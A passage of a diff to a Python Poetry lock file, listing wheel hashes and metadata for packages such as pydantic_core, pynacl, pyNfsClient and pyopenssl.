"pydantic_core-2.46.4-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:0e96592440881c74a213e5ad528e2b24d3d4f940de2766bed9010ab1d9e51594"}, + {file = "pydantic_core-2.46.4-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:e0d65b8c354be7fb5f720c3caa8bc940bc2d20ce749c8e06135f07f8ed95dd7c"}, + {file = "pydantic_core-2.46.4-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7bfb192b3f4b9e8a89b6277b6ce787564f62cfd272055f6e685726b111dc7826"}, + {file = "pydantic_core-2.46.4-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:9037063db01f09b09e237c282b6792bd4da634b5402c4e7f0c61effed7701a04"}, + {file = "pydantic_core-2.46.4-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:fc010ab034c8c7452522748bf937df58020d256ccae0874463d1f4d01758af8e"}, + {file = "pydantic_core-2.46.4-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:8c5dac79fa1614d1e06ca695109c6105923bd9c7d1d6c918d4e637b7e6b32fd3"}, + {file = "pydantic_core-2.46.4-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f9fa868638bf362d3d138ea55829cefb3d5f4b0d7f142234382a15e2485dbec4"}, + {file = "pydantic_core-2.46.4-cp311-cp311-manylinux_2_31_riscv64.whl", hash = "sha256:17299feefe090f2caa5b8e37222bb5f663e4935a8bfa6931d4102e5df1a9f398"}, + {file = "pydantic_core-2.46.4-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:4c63ebc82684aa89d9a3bcbd13d515b3be44250dc68dd3bd81526c1cb31286c3"}, + {file = "pydantic_core-2.46.4-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:aaa2a54443eff1950ba5ddc6b6ccda0d9c84a364276a62f969bdf2a390650848"}, + {file = "pydantic_core-2.46.4-cp311-cp311-musllinux_1_1_armv7l.whl", hash = "sha256:18e5ceec2ab67e6d5f1a9085e5a24c9c4e2ac4545730bfe668680bca05e555f3"}, + {file = "pydantic_core-2.46.4-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:a0f62d0a58f4e7da165457e995725421e0064f2255d8eccebc49f41bbc23b109"}, + {file = "pydantic_core-2.46.4-cp311-cp311-win32.whl", hash = "sha256:041bde0a48fd37cf71cab1c9d56d3e8625a3793fef1f7dd232b3ff37e978ecda"}, + {file = "pydantic_core-2.46.4-cp311-cp311-win_amd64.whl", hash = "sha256:6f2eeda33a839975441c86a4119e1383c50b47faf0cbb5176985565c6bb02c33"}, + {file = "pydantic_core-2.46.4-cp311-cp311-win_arm64.whl", hash = "sha256:14f4c5d6db102bd796a627bbb3a17b4cf4574b9ae861d8b7c9a9661c6dd3362d"}, + {file = "pydantic_core-2.46.4-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:3245406455a5d98187ec35530fd772b1d799b26667980872c8d4614991e2c4a2"}, + {file = "pydantic_core-2.46.4-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:962ccbab7b642487b1d8b7df90ef677e03134cf1fd8880bf698649b22a69371f"}, + {file = "pydantic_core-2.46.4-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8233f2947cf85404441fd7e0085f53b10c93e0ee78611099b5c7237e36aacbf7"}, + {file = "pydantic_core-2.46.4-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:3a233125ac121aa3ffba9a2b59edfc4a985a76092dc8279586ab4b71390875e7"}, + {file = "pydantic_core-2.46.4-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5b712b53160b79a5850310b912a5ef8e57e56947c8ad690c227f5c9d7e561712"}, + {file = "pydantic_core-2.46.4-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9401557acd873c3a7f3eb9383edef8ac4968f9510e340f4808d427e75667e7b4"}, + {file = "pydantic_core-2.46.4-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:926c9541b14b12b1681dca8a0b75feb510b06c6341b70a8e500c2fdcff837cce"}, + {file = "pydantic_core-2.46.4-cp312-cp312-manylinux_2_31_riscv64.whl", hash = "sha256:56cb4851bcaf3d117eddcef4fe66afd750a50274b0da8e22be256d10e5611987"}, + {file = "pydantic_core-2.46.4-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:c68fcd102d71ea85c5b2dfac3f4f8476eff42a9e078fd5faefff6d145063536b"}, + {file = "pydantic_core-2.46.4-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:b2f69dec1725e79a012d920df1707de5caf7ed5e08f3be4435e25803efc47458"}, + {file = "pydantic_core-2.46.4-cp312-cp312-musllinux_1_1_armv7l.whl", hash = "sha256:8d0820e8192167f80d88d64038e609c31452eeca865b4e1d9950a27a4609b00b"}, + {file = "pydantic_core-2.46.4-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:fbdb89b3e1c94a30cc5edfce477c6e6a5dc4d8f84665b455c27582f211a1c72c"}, + {file = "pydantic_core-2.46.4-cp312-cp312-win32.whl", hash = "sha256:9aa768456404a8bf48a4406685ac2bec8e72b62c69313734fa3b73cf33b3a894"}, + {file = "pydantic_core-2.46.4-cp312-cp312-win_amd64.whl", hash = "sha256:e9c26f834c65f5752f3f06cb08cb86a913ceb7274d0db6e267808a708b46bc89"}, + {file = "pydantic_core-2.46.4-cp312-cp312-win_arm64.whl", hash = "sha256:4fc73cb559bdb54b1134a706a2802a4cddd27a0633f5abb7e53056268751ac6a"}, + {file = "pydantic_core-2.46.4-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:5d5902252db0d3cedf8d4a1bc68f70eeb430f7e4c7104c8c476753519b423008"}, + {file = "pydantic_core-2.46.4-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:c94f0688e7b8d0a67abf40e57a7eaaecd17cc9586706a31b76c031f63df052b4"}, + {file = "pydantic_core-2.46.4-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f027324c56cd5406ca49c124b0db10e56c69064fec039acc571c29020cc87c76"}, + {file = "pydantic_core-2.46.4-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:e739fee756ba1010f8bcccb534252e85a35fe45ae92c295a06059ce58b74ccd3"}, + {file = "pydantic_core-2.46.4-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9d56801be94b86a9da183e5f3766e6310752b99ff647e38b09a9500d88e46e76"}, + {file = "pydantic_core-2.46.4-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2412e734dcb48da14d4e4006b82b46b74f2518b8a26ee7e58c6844a6cd6d03c4"}, + {file = "pydantic_core-2.46.4-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9551187363ffc0de2a00b2e47c25aeaeb1020b69b668762966df15fc5659dd5a"}, + {file = "pydantic_core-2.46.4-cp313-cp313-manylinux_2_31_riscv64.whl", hash = "sha256:0186750b482eefa11d7f435892b09c5c606193ef3375bcf94aa00ae6bfb66262"}, + {file = "pydantic_core-2.46.4-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:5855698a4856556d86e8e6cd8434bc3ac0314ee8e12089ae0e143f64c6256e4e"}, + {file = "pydantic_core-2.46.4-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:cbaf13819775b7f769bf4a1f066cb6df7a28d4480081a589828ef190226881cd"}, + {file = "pydantic_core-2.46.4-cp313-cp313-musllinux_1_1_armv7l.whl", hash = "sha256:633147d34cf4550417f12e2b1a0383973bdf5cdfde212cb09e9a581cf10820be"}, + {file = "pydantic_core-2.46.4-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:82cf5301172168103724d49a1444d3378cb20cdee30b116a1bd6031236298a5d"}, + {file = "pydantic_core-2.46.4-cp313-cp313-win32.whl", hash = "sha256:9fa8ae11da9e2b3126c6426f147e0fba88d96d65921799bb30c6abd1cb2c97fb"}, + {file = "pydantic_core-2.46.4-cp313-cp313-win_amd64.whl", hash = "sha256:6b3ace8194b0e5204818c92802dcdca7fc6d88aabbb799d7c795540d9cd6d292"}, + {file = "pydantic_core-2.46.4-cp313-cp313-win_arm64.whl", hash = "sha256:184c081504d17f1c1066e430e117142b2c77d9448a97f7b65c6ac9fd9aee238d"}, + {file = "pydantic_core-2.46.4-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:428e04521a40150c85216fc8b85e8d39fece235a9cf5e383761238c7fa9b96fb"}, + {file = "pydantic_core-2.46.4-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:23ace664830ee0bfe014a0c7bc248b1f7f25ed7ad103852c317624a1083af462"}, + {file = "pydantic_core-2.46.4-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ce5c1d2a8b27468f433ca974829c44060b8097eedc39933e3c206a90ee49c4a9"}, + {file = "pydantic_core-2.46.4-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:7283d57845ecf5a163403eb0702dfc220cc4fbdd18919cb5ccea4f95ee1cdab4"}, + {file = "pydantic_core-2.46.4-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8daafc69c93ee8a0204506a3b6b30f586ef54028f52aeeeb5c4cfc5184fd5914"}, + {file = "pydantic_core-2.46.4-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:cd2213145bcc2ba85884d0ac63d222fece9209678f77b9b4d76f054c561adb28"}, + {file = "pydantic_core-2.46.4-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7a5f930472650a82629163023e630d160863fce524c616f4e5186e5de9d9a49b"}, + {file = "pydantic_core-2.46.4-cp314-cp314-manylinux_2_31_riscv64.whl", hash = "sha256:c1b3f518abeca3aa13c712fd202306e145abf59a18b094a6bafb2d2bbf59192c"}, + {file = "pydantic_core-2.46.4-cp314-cp314-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:1a7dd0b3ee80d90150e3495a3a13ac34dbcbfd4f012996a6a1d8900e91b5c0fb"}, + {file = "pydantic_core-2.46.4-cp314-cp314-musllinux_1_1_aarch64.whl", hash = "sha256:3fb702cd90b0446a3a1c5e470bfa0dd23c0233b676a9099ddcc964fa6ca13898"}, + {file = "pydantic_core-2.46.4-cp314-cp314-musllinux_1_1_armv7l.whl", hash = "sha256:b8458003118a712e66286df6a707db01c52c0f52f7db8e4a38f0da1d3b94fc4e"}, + {file = "pydantic_core-2.46.4-cp314-cp314-musllinux_1_1_x86_64.whl", hash = "sha256:372429a130e469c9cd698925ce5fc50940b7a1336b0d82038e63d5bbc4edc519"}, + {file = "pydantic_core-2.46.4-cp314-cp314-win32.whl", hash = "sha256:85bb3611ff1802f3ee7fdd7dbff26b56f343fb432d57a4728fdd49b6ef35e2f4"}, + {file = "pydantic_core-2.46.4-cp314-cp314-win_amd64.whl", hash = "sha256:811ff8e9c313ab425368bcbb36e5c4ebd7108c2bbf4e4089cfbb0b01eff63fac"}, + {file = "pydantic_core-2.46.4-cp314-cp314-win_arm64.whl", hash = "sha256:bfec22eab3c8cc2ceec0248aec886624116dc079afa027ecc8ad4a7e62010f8a"}, + {file = "pydantic_core-2.46.4-cp314-cp314t-macosx_10_12_x86_64.whl", hash = "sha256:af8244b2bef6aaad6d92cda81372de7f8c8d36c9f0c3ea36e827c60e7d9467a0"}, + {file = "pydantic_core-2.46.4-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:5a4330cdbc57162e4b3aa303f588ba752257694c9c9be3e7ebb11b4aca659b5d"}, + {file = "pydantic_core-2.46.4-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:29c61fc04a3d840155ff08e475a04809278972fe6aef51e2720554e96367e34b"}, + {file = "pydantic_core-2.46.4-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:c50f2528cf200c5eed56faf3f4e22fcd5f38c157a8b78576e6ba3168ec35f000"}, + {file = "pydantic_core-2.46.4-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:0cbe8b01f948de4286c74cdd6c667aceb38f5c1e26f0693b3983d9d74887c65e"}, + {file = "pydantic_core-2.46.4-cp314-cp314t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:617d7e2ca7dcb8c5cf6bcb8c59b8832c94b36196bbf1cbd1bfb56ed341905edd"}, + {file = "pydantic_core-2.46.4-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7027560ee92211647d0d34e3f7cd6f50da56399d26a9c8ad0da286d3869a53f3"}, + {file = "pydantic_core-2.46.4-cp314-cp314t-manylinux_2_31_riscv64.whl", hash = "sha256:f99626688942fb746e545232e7726926f3be91b5975f8b55327665fafda991c7"}, + {file = "pydantic_core-2.46.4-cp314-cp314t-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:fc3e9034a63de20e15e8ade85358bc6efc614008cab72898b4b4952bea0509ff"}, + {file = "pydantic_core-2.46.4-cp314-cp314t-musllinux_1_1_aarch64.whl", hash = "sha256:97e7cf2be5c77b7d1a9713a05605d49460d02c6078d38d8bef3cbe323c548424"}, + {file = "pydantic_core-2.46.4-cp314-cp314t-musllinux_1_1_armv7l.whl", hash = "sha256:3bf92c5d0e00fefaab325a4d27828fe6b6e2a21848686b5b60d2d9eeb09d76c6"}, + {file = "pydantic_core-2.46.4-cp314-cp314t-musllinux_1_1_x86_64.whl", hash = "sha256:3ecbc122d18468d06ca279dc26a8c2e2d5acb10943bb35e36ae92096dc3b5565"}, + {file = "pydantic_core-2.46.4-cp314-cp314t-win32.whl", hash = "sha256:e846ae7835bf0703ae43f534ab79a867146dadd59dc9ca5c8b53d5c8f7c9ef02"}, + {file = "pydantic_core-2.46.4-cp314-cp314t-win_amd64.whl", hash = "sha256:2108ba5c1c1eca18030634489dc544844144ee36357f2f9f780b93e7ddbb44b5"}, + {file = "pydantic_core-2.46.4-cp314-cp314t-win_arm64.whl", hash = "sha256:4fcbe087dbc2068af7eda3aa87634eba216dbda64d1ae73c8684b621d33f6596"}, + {file = "pydantic_core-2.46.4-cp39-cp39-macosx_10_12_x86_64.whl", hash = "sha256:fd8b3d9fd264be37976686c7f65cd52a83f5e84f4bfd2adf9c1d469676bbb6ae"}, + {file = "pydantic_core-2.46.4-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:9f444c499b3eefd3a92e348059471ea0c3a6e303d9c1cec09fa748fd9f895201"}, + {file = "pydantic_core-2.46.4-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3447661d99f75a3683a4cf5c87da72f2161964611864dbbeac7fbb118bb4bfc0"}, + {file = "pydantic_core-2.46.4-cp39-cp39-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:8b9bab013d1c7a79d3501ff86d0bc9c31bf587db4551677b96bec07df78c6b15"}, + {file = "pydantic_core-2.46.4-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d995260fdf4e1db774581b4900e0f832abe3c7c84996726bbc161b19c8f29e76"}, + {file = "pydantic_core-2.46.4-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f13a646d65d09fbf1bc6b3a9635d30095c8e7e5cc419ff35ecc563c5fd04cd49"}, + {file = "pydantic_core-2.46.4-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:432c179df7874eeb73307aad2df0755e1ae0efa61ff0ea89b93e194411ae3928"}, + {file = "pydantic_core-2.46.4-cp39-cp39-manylinux_2_31_riscv64.whl", hash = "sha256:e68b7a074f65a2fd746c52a7ce6142ab7006074ac269ace0c25cd8ba171f8066"}, + {file = "pydantic_core-2.46.4-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:4a05d69cba51d852c5c3e92758653245a50c0b646ced0cf05bd793ed592839d6"}, + {file = "pydantic_core-2.46.4-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:228ee9bae8bef5b1e97ec58302f80357c37199e0d0a99174e138d28e6957b9d9"}, + {file = "pydantic_core-2.46.4-cp39-cp39-musllinux_1_1_armv7l.whl", hash = "sha256:10e17cbb10a330363733efc4d7c4d0dd827ac0909b8f6a6542298fed1ea62f29"}, + {file = "pydantic_core-2.46.4-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:91a06d2e259ecfbd8c901d70c3c507900458498142b3026a296b7de4d1322cc9"}, + {file = "pydantic_core-2.46.4-cp39-cp39-win32.whl", hash = "sha256:d80ee3d731373b24cebbc10d689ca4ee1875caf0d5703a245db18efd4dd37fc1"}, + {file = "pydantic_core-2.46.4-cp39-cp39-win_amd64.whl", hash = "sha256:3be77f45df024d789a672ae34f8b06fb346c4f9f46ea714956660ea4862e89ac"}, + {file = "pydantic_core-2.46.4-graalpy311-graalpy242_311_native-macosx_10_12_x86_64.whl", hash = "sha256:14d4edf427bdcf950a8a02d7cb44a08614388dd6e1bdcbf4f67504fa7887da9c"}, + {file = "pydantic_core-2.46.4-graalpy311-graalpy242_311_native-macosx_11_0_arm64.whl", hash = "sha256:0ce40cd7b21210e99342afafbd4d0f76d784eb5b1d60f3bdc566be4983c6c73b"}, + {file = "pydantic_core-2.46.4-graalpy311-graalpy242_311_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:90884113d8b48f760e9587002789ddd741e76ab9f89518cd1e43b1f1a52ec44b"}, + {file = "pydantic_core-2.46.4-graalpy311-graalpy242_311_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:66ce7632c22d837c95301830e111ad0128a32b8207533b60896a96c4915192ea"}, + {file = "pydantic_core-2.46.4-graalpy312-graalpy250_312_native-macosx_10_12_x86_64.whl", hash = "sha256:1d8ba486450b14f3b1d63bc521d410ec7565e52f887b9fb671791886436a42f7"}, + {file = "pydantic_core-2.46.4-graalpy312-graalpy250_312_native-macosx_11_0_arm64.whl", hash = "sha256:3009f12e4e90b7f88b4f9adb1b0c4a3d58fe7820f3238c190047209d148026df"}, + {file = "pydantic_core-2.46.4-graalpy312-graalpy250_312_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ad785e92e6dc634c21555edc8bd6b64957ab844541bcb96a1366c202951ae526"}, + {file = "pydantic_core-2.46.4-graalpy312-graalpy250_312_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:00c603d540afdd6b80eb39f078f33ebd46211f02f33e34a32d9f053bba711de0"}, + {file = "pydantic_core-2.46.4-pp311-pypy311_pp73-macosx_10_12_x86_64.whl", hash = "sha256:0c563b08bca408dc7f65f700633d8442fffb2421fc47b8101377e9fd65051ff0"}, + {file = "pydantic_core-2.46.4-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:db06ffe51636ffe9ca531fe9023dd64bdd794be8754cb5df57c5498ae5b518a7"}, + {file = "pydantic_core-2.46.4-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:133878133d271ade3d41d1bfb2a45ec38dbdbda40bc065921c6b04e4630127e2"}, + {file = "pydantic_core-2.46.4-pp311-pypy311_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:9bc519fbf2b7578398853d815009ae5e4d4603d12f4e3f91da8c06852d3da3e9"}, + {file = "pydantic_core-2.46.4-pp311-pypy311_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:c7a7bd4e39e8e4c12c39cd480356842b6a8a06e41b23a55a5e3e191718838ddf"}, + {file = "pydantic_core-2.46.4-pp311-pypy311_pp73-musllinux_1_1_armv7l.whl", hash = "sha256:d396ec2b979760aaf3218e76c24e65bd0aca24983298653b3a9d7a45f9e47b30"}, + {file = "pydantic_core-2.46.4-pp311-pypy311_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:86e1a4418c6cd97d60c95c71164158eaf7324fae7b0923264016baa993eba6fc"}, + {file = "pydantic_core-2.46.4-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:d51026d73fcfd93610abc7b27789c26b313920fcfb20e27462d74a7f8b06e983"}, + {file = "pydantic_core-2.46.4.tar.gz", hash = "sha256:62f875393d7f270851f20523dd2e29f082bcc82292d66db2b64ea71f64b6e1c1"}, +] + +[package.dependencies] +typing-extensions = ">=4.14.1" + +[[package]] +name = "pyflakes" +version = "3.4.0" +description = "passive checker of Python programs" +optional = false +python-versions = ">=3.9" +groups = ["dev"] +files = [ + {file = "pyflakes-3.4.0-py2.py3-none-any.whl", hash = "sha256:f742a7dbd0d9cb9ea41e9a24a918996e8170c799fa528688d40dd582c8265f4f"}, + {file = "pyflakes-3.4.0.tar.gz", hash = "sha256:b24f96fafb7d2ab0ec5075b7350b3d2d2218eab42003821c06344973d3ea2f58"}, +] + +[[package]] +name = "pygments" +version = "2.20.0" +description = "Pygments is a syntax highlighting package written in Python." +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "pygments-2.20.0-py3-none-any.whl", hash = "sha256:81a9e26dd42fd28a23a2d169d86d7ac03b46e2f8b59ed4698fb4785f946d0176"}, + {file = "pygments-2.20.0.tar.gz", hash = "sha256:6757cd03768053ff99f3039c1a36d6c0aa0b263438fcab17520b30a303a82b5f"}, +] + +[package.extras] +windows-terminal = ["colorama (>=0.4.6)"] + +[[package]] +name = "pylnk3" +version = "0.4.3" +description = "Windows LNK File Parser and Creator" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "pylnk3-0.4.3-py3-none-any.whl", hash = "sha256:fafa9293290163fed30541fb38f7df21a0e3f6fcc8324597a898ce694c9a593d"}, + {file = "pylnk3-0.4.3.tar.gz", hash = "sha256:fbc5f512b581382c2a4c11e6df3796f9975bcfd99e3fca2afe531ea61b3c4ac2"}, +] + +[[package]] +name = "pynacl" +version = "1.6.2" +description = "Python binding to the Networking and Cryptography (NaCl) library" +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "pynacl-1.6.2-cp314-cp314t-macosx_10_10_universal2.whl", hash = "sha256:622d7b07cc5c02c666795792931b50c91f3ce3c2649762efb1ef0d5684c81594"}, + {file = "pynacl-1.6.2-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:d071c6a9a4c94d79eb665db4ce5cedc537faf74f2355e4d502591d850d3913c0"}, + {file = "pynacl-1.6.2-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:fe9847ca47d287af41e82be1dd5e23023d3c31a951da134121ab02e42ac218c9"}, + {file = "pynacl-1.6.2-cp314-cp314t-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:04316d1fc625d860b6c162fff704eb8426b1a8bcd3abacea11142cbd99a6b574"}, + {file = "pynacl-1.6.2-cp314-cp314t-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:44081faff368d6c5553ccf55322ef2819abb40e25afaec7e740f159f74813634"}, + {file = "pynacl-1.6.2-cp314-cp314t-manylinux_2_34_aarch64.whl", hash = "sha256:a9f9932d8d2811ce1a8ffa79dcbdf3970e7355b5c8eb0c1a881a57e7f7d96e88"}, + {file = "pynacl-1.6.2-cp314-cp314t-manylinux_2_34_x86_64.whl", hash = "sha256:bc4a36b28dd72fb4845e5d8f9760610588a96d5a51f01d84d8c6ff9849968c14"}, + {file = "pynacl-1.6.2-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:3bffb6d0f6becacb6526f8f42adfb5efb26337056ee0831fb9a7044d1a964444"}, + {file = "pynacl-1.6.2-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:2fef529ef3ee487ad8113d287a593fa26f48ee3620d92ecc6f1d09ea38e0709b"}, + {file = "pynacl-1.6.2-cp314-cp314t-win32.whl", hash = "sha256:a84bf1c20339d06dc0c85d9aea9637a24f718f375d861b2668b2f9f96fa51145"}, + {file = "pynacl-1.6.2-cp314-cp314t-win_amd64.whl", hash = "sha256:320ef68a41c87547c91a8b58903c9caa641ab01e8512ce291085b5fe2fcb7590"}, + {file = "pynacl-1.6.2-cp314-cp314t-win_arm64.whl", hash = "sha256:d29bfe37e20e015a7d8b23cfc8bd6aa7909c92a1b8f41ee416bbb3e79ef182b2"}, + {file = "pynacl-1.6.2-cp38-abi3-macosx_10_10_universal2.whl", hash = "sha256:c949ea47e4206af7c8f604b8278093b674f7c79ed0d4719cc836902bf4517465"}, + {file = "pynacl-1.6.2-cp38-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:8845c0631c0be43abdd865511c41eab235e0be69c81dc66a50911594198679b0"}, + {file = "pynacl-1.6.2-cp38-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:22de65bb9010a725b0dac248f353bb072969c94fa8d6b1f34b87d7953cf7bbe4"}, + {file = "pynacl-1.6.2-cp38-abi3-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:46065496ab748469cdd999246d17e301b2c24ae2fdf739132e580a0e94c94a87"}, + {file = "pynacl-1.6.2-cp38-abi3-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8a66d6fb6ae7661c58995f9c6435bda2b1e68b54b598a6a10247bfcdadac996c"}, + {file = "pynacl-1.6.2-cp38-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:26bfcd00dcf2cf160f122186af731ae30ab120c18e8375684ec2670dccd28130"}, + {file = "pynacl-1.6.2-cp38-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:c8a231e36ec2cab018c4ad4358c386e36eede0319a0c41fed24f840b1dac59f6"}, + {file = "pynacl-1.6.2-cp38-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:68be3a09455743ff9505491220b64440ced8973fe930f270c8e07ccfa25b1f9e"}, + {file = "pynacl-1.6.2-cp38-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:8b097553b380236d51ed11356c953bf8ce36a29a3e596e934ecabe76c985a577"}, + {file = "pynacl-1.6.2-cp38-abi3-win32.whl", hash = "sha256:5811c72b473b2f38f7e2a3dc4f8642e3a3e9b5e7317266e4ced1fba85cae41aa"}, + {file = "pynacl-1.6.2-cp38-abi3-win_amd64.whl", hash = "sha256:62985f233210dee6548c223301b6c25440852e13d59a8b81490203c3227c5ba0"}, + {file = "pynacl-1.6.2-cp38-abi3-win_arm64.whl", hash = "sha256:834a43af110f743a754448463e8fd61259cd4ab5bbedcf70f9dabad1d28a394c"}, + {file = "pynacl-1.6.2.tar.gz", hash = "sha256:018494d6d696ae03c7e656e5e74cdfd8ea1326962cc401bcf018f1ed8436811c"}, +] + +[package.dependencies] +cffi = {version = ">=2.0.0", markers = "platform_python_implementation != \"PyPy\" and python_version >= \"3.9\""} + +[package.extras] +docs = ["sphinx (<7)", "sphinx_rtd_theme"] +tests = ["hypothesis (>=3.27.0)", "pytest (>=7.4.0)", "pytest-cov (>=2.10.1)", "pytest-xdist (>=3.5.0)"] + +[[package]] +name = "pyNfsClient" +version = "0.1.6" +description = "Pure python NFS client" +optional = false +python-versions = ">=2.7" +groups = ["main"] +files = [] +develop = false + +[package.source] +type = "git" +url = "https://github.com/Pennyw0rth/NfsClient" +reference = "HEAD" +resolved_reference = "4cefeb605c80a3369de3126016b77839149b8433" + +[[package]] +name = "pyopenssl" +version = "25.1.0" +description = "Python wrapper module around the OpenSSL library" +optional = false +python-versions = ">=3.7" +groups = ["main"] +files = [ + {file = "pyopenssl-25.1.0-py3-none-any.whl", hash = "sha256:2b11f239acc47ac2e5aca04fd7fa829800aeee22a2eb30d744572a157bd8a1ab"}, + {file = "pyopenssl-25.1.0.tar.gz", hash = "sha256:8d031884482e0c67ee92bf9a4d8cceb08d92aba7136432ffb0703c5280fc205b"}, +] + +[package.dependencies] +cryptography = ">=41.0.5,<46" +typing-extensions = {version = ">=4.9", markers = "python_version < \"3.13\" and python_version >= \"3.8\""} + +[package.extras] +docs = ["sphinx (!=5.2.0,!=5.2.0.post0,!=7.2.5)", "sphinx_rtd_theme"] +test = ["pretend", "pytest (>=3.0.1)", "pytest-rerunfailures"] + +[[package]] +name = "pyparsing" +version = "3.3.2" +description = "pyparsing - Classes and methods to define and execute parsing grammars" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "pyparsing-3.3.2-py3-none-any.whl", hash = "sha256:850ba148bd908d7e2411587e247a1e4f0327839c40e2e5e6d05a007ecc69911d"}, + {file = "pyparsing-3.3.2.tar.gz", hash = "sha256:c777f4d763f140633dcb6d8a3eda953bf7a214dc4eff598413c070bcdc117cbc"}, +] + +[package.extras] +diagrams = ["jinja2", "railroad-diagrams"] + +[[package]] +name = "pyperclip" +version = "1.11.0" +description = "A cross-platform clipboard module for Python. (Only handles plain text for now.)" +optional = false +python-versions = "*" +groups = ["main"] +files = [ + {file = "pyperclip-1.11.0-py3-none-any.whl", hash = "sha256:299403e9ff44581cb9ba2ffeed69c7aa96a008622ad0c46cb575ca75b5b84273"}, + {file = "pyperclip-1.11.0.tar.gz", hash = 